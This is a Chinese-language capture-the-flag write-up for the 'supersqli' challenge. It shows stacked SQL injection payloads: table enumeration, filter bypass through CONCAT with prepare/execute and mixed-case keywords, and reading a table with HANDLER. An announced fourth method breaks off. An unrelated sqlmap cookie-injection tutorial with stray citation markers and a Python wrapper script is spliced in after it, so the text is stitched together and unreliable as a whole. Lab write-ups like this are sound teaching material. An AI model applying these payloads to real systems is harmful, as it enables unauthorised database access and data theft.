supersqli(sql注入)

12 supersqli(sql注入)

知识点

  1. 堆叠注入是重点
  2. 预编译 https://blog.youkuaiyun.com/Just__2009/article/details/109126437

在这里插入图片描述
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。 堆叠的语句是任意的而union只能用来查询

堆叠注入原理

1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
使用单引号报错,说明有注入的漏洞
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

‘1 order by 2# 然后试试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。

使用这种—1’ union select 1,2#
在这里插入图片描述

发现select 被过滤了。

叠合注入

-1’;show tables # 显示表有哪些

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过。

-1’;set @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepare aaa from @sql;EXECUTE aaa;#

但是当我们执行预编译语句的时候出现下图结果:
在这里插入图片描述

所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)

1’;sEt @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepArE aaa from @sql;EXECUTE aaa;#
在这里插入图片描述
到这里,拿到flag

方法2
handler查询

mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。

-1’;handler 1919810931114514 open;handler 1919810931114514 read first;#

上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
在这里插入图片描述
方法4
这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下
修改表名和列名

### 如何使用 Sqlmap 进行 SQL 注入渗透测试 Sqlmap 是一种功能强大的开源工具,能够用于自动化检测和利用 SQL 注入漏洞。以下是关于如何配置并运行 Sqlmap 的详细说明。 #### 工具准备 在开始之前,需确保已安装 Sqlmap 并正确设置环境变量以便于调用该工具[^1]。如果尚未完成此操作,则可以通过官方文档获取详细的安装指南。 #### 基本命令结构 执行 Sqlmap 测试的一般语法如下所示: ```bash sqlmap -u URL [其他参数] ``` 其中 `-u` 参数指定目标网站地址,而 `[其他参数]` 则包含了多种选项来调整扫描行为。 #### 配置具体参数 对于特定场景下的 cookie 注入案例分析,比如针对 `SQL labs-Less-20` 中提到的情况,可采用以下命令形式来进行测试[^2]: ```bash sqlmap -u "http://172.168.10.129:8001/Less-11/" --cookie="uname=admin" --level=3 ``` 这里解释一下各个部分的作用: - `-u`: 定义要攻击的目标URL。 - `--cookie`: 提供访问站点所需的会话信息(即 cookies),这对于那些依赖用户登录状态的应用程序尤为重要。 - `--level`: 设置测试强度级别,默认值为 1 ,最高可达 5 。更高的数值意味着更全面但也可能更加耗时的探测过程。 通过上述方法即可启动一次基于 Cookie 的 SQL 注入尝试,并由 Sqlmap 自动寻找潜在的安全隐患。 #### 结果解读与后续行动 一旦扫描结束,Sqlmap 将报告发现的所有问题以及可用的数据提取途径。依据反馈结果采取适当措施修复相应缺陷或者进一步深入研究受影响区域内的敏感资料情况。 ```python import subprocess def run_sqlmap(url, cookies=None, level='3'): command = ['sqlmap', '-u', url, '--level={}'.format(level)] if cookies: command.append('--cookie="{}"'.format(cookies)) result = subprocess.run(command, stdout=subprocess.PIPE) output = result.stdout.decode() return output ``` 以上 Python 脚本片段展示了怎样构建一个简单的函数接口去调用 Sqlmap 执行任务。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值